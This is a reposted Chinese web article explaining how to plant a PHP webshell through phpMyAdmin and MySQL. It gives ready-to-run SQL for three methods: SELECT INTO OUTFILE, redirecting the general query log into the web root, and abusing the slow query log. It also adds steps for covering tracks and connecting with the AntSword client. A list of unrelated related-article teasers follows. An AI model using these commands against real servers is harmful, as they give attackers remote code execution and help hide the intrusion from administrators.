【PHP漏洞】PHPMyAdmin写shell的几种方式

news/2025/2/23 7:14:47/文章来源:https://www.cnblogs.com/o-O-oO/p/18567299

phpMyAdmin是一个以PHP为基础,以web方式架构在服务器上的MySQL的数据库管理工具。让管理者可以通过Web接口来管理MySQL数据库。

查看phpmyadmin版本: /phpMyAdmin/README

在高版本中无法写入一句话

mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出

查看该参数值

show global variables like '%secure%';

当secure_file_priv为NULL时,表示限制mysql不允许导入导出。

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件,

[mysqld]内加入secure_file_priv ="" 即可

select into outfile直接写入

利用条件

• 知道网站绝对路径

• secure_file_priv没有具体值

• 对web目录需要有写权限能够使用单引号(root)

select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php'

利用全局日志写shell

查看mysql的日志状态,默认是关闭的,因为这个日志的量非常大对资源是一个比较大的开销

SHOW VARIABLES LIKE '%general%'

general_log_file为日志保存的位置

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell

利用步骤

1、查看配置默认是关闭状态

SHOW VARIABLES LIKE '%general%'                     

2、开启general_log模式

set global general_log = on;     

3、修改日志目录为shell地址

set global general_log_file='D:\\phpstudy_pro\\WWW\\shell.php';       

4、写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中

select '<?php eval($_POST[cmd]);?>'  

5、抹除痕迹

set global general_log_file='C:\\phpStudy\\MySQL\\data\\spe4r.log';        
#修改日志目录为原来地址
set global general_log = off;                                             
#关闭general_log模式

写入成功使用蚁剑进行连接

慢查询日志写入webshell

利用步骤
1、查看慢查询日志开启情况

show variables like '%slow_query_log%'; 

2、开启慢查询日志

set global slow_query_log=on; 

3、修改日志文件存储的绝对路径

set global slow_query_log_file='C:\\phpstudy\\WWW\\shell.php'    

4、向日志文件中写入shell

select '<?php @eval($_POST[shell]);?>' or sleep(10);                         

5、使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:

show global variables like '%long_query_time%';


写入成功 使用蚁剑连接

原创 SSP安全研究

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/840798.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

rebuttal 摘录(3)

link: https://www.iikx.com/news/article/8915.html小过原创心得: 如果分数低,就当锻炼自己rebuttal的能力了;你想,分数低你还能回复那么多(至少你自己觉得挺有道理的),那么以后遇到分数高的,不是手到擒来吗?哈哈哈哈https://www.cnblogs.com/marsggbo/p/14278583.ht…

jmeter之操作数据库

一、下载jdbc 驱动,安装jdbc驱动2、将驱动存放在4个路径下 (1)C:\Program Files\Java\jre1.8.0_60\lib (2)第二个存放的包 C:\Program Files\Java\jre1.8.0_60\lib\ext (3)第三个存放的包(4)存放第四个包 E:\dcs\two\jmeter(14)\apache-jmeter-3.3\lib\ext 2、在测试…

不仅仅是Excel,这些工具让协作更简单!

在现代办公中,团队协作和信息共享变得愈发重要。随着Excel多人协同编辑功能的普及,工作效率和团队协作水平有了显著提升。通过多人同时编辑同一文档,无论是数据分析、财务报表,还是项目计划,团队成员都能实时看到彼此的修改,避免了版本冲突和重复劳动,提高了工作效率。除…

617. 合并二叉树 Golang实现

题目描述: 给你两棵二叉树: root1 和 root2 。 想象一下,当你将其中一棵覆盖到另一棵之上时,两棵树上的一些节点将会重叠(而另一些不会)。你需要将这两棵树合并成一棵新二叉树。合并的规则是:如果两个节点重叠,那么将这两个节点的值相加作为合并后节点的新值;否则,不…

FUSE 透传

Android 12 支持 FUSE 透传功能,此功能可以最大限度地降低 FUSE 开销,从而实现可媲美直接访问下层文件系统的性能。android12-5.4、android12-5.10 和 android-mainline(仅限测试)内核支持 FUSE 透传功能,这意味着是否支持此功能取决于设备使用的内核和设备搭载的 Android…

易基因:转录因子Pax5在多西紫杉醇耐药性神经内分泌样前列腺癌中的表观调控作用|Cell Death Dis

大家好,这里是专注表观组学十余年,领跑多组学科研服务的易基因。 前列腺癌患者在接受雄激素受体信号抑制剂(ARSI)治疗后,可能会出现耐药性,导致治疗诱导的神经内分泌样前列腺癌(therapy-induced neuroendocrine-like prostate cancer,t-NEPC)发生。t-NEPC是一种高侵袭性…

反向 Debug 了解一下?揭秘 Java DEBUG 的基本原理

Debug 的时候,都遇到过手速太快,直接跳过了自己想调试的方法、代码的时候吧…… 一旦跳过,可能就得重新执行一遍,准备数据、重新启动可能几分钟就过去了。好在IDE 们都很强大,还给你后悔的机会,可以直接删除某个 Stack Frame,直接返回到之前的状态,确切的说是返回到之前…

记录一次RPC服务有损上线的分析过程

1. 问题背景 某应用在启动完提供JSF服务后,短时间内出现了大量的空指针异常。 分析日志,发现是服务依赖的藏经阁配置数据未加载完成导致。即所谓的有损上线或者是直接发布,当应用启动时,service还没加载完,就开始对外提供服务,导致失败调用。 关键代码如下 数据的初始化加…

阿里二面:如何设计一个高并发系统?

大家好,我是苏三,又跟大家见面了。 前言 最近有位粉丝问了我一个问题:如何设计一个高并发系统? 这是一个非常高频的面试题,面试官可以从多个角度,考查技术的广度和深度。 今天这篇文章跟大家一起聊聊高并发系统设计一些关键点,希望对你会有所帮助。1 页面静态化 对于高并…

Linux之CPU调度策略和CPU亲和性

一、调度策略 调度进程 单个 CPU一次只能执行一个进程,虽然 Linux 系统通过使用多任务同时处理多个进程,但当多个进程同时运行在一个CPU 上时,它通过交错执行这些进程。 内核使用进程调度器来决定在某一时间点上哪个进程在运行。调度器必须平衡几个选项:快速决定下一个该运…

Linux之CPU调度策略

调度进程 单个 CPU一次只能执行一个进程,虽然 Linux 系统通过使用多任务同时处理多个进程,但当多个进程同时运行在一个CPU 上时,它通过交错执行这些进程。 内核使用进程调度器来决定在某一时间点上哪个进程在运行。调度器必须平衡几个选项:快速决定下一个该运行的进程进程可…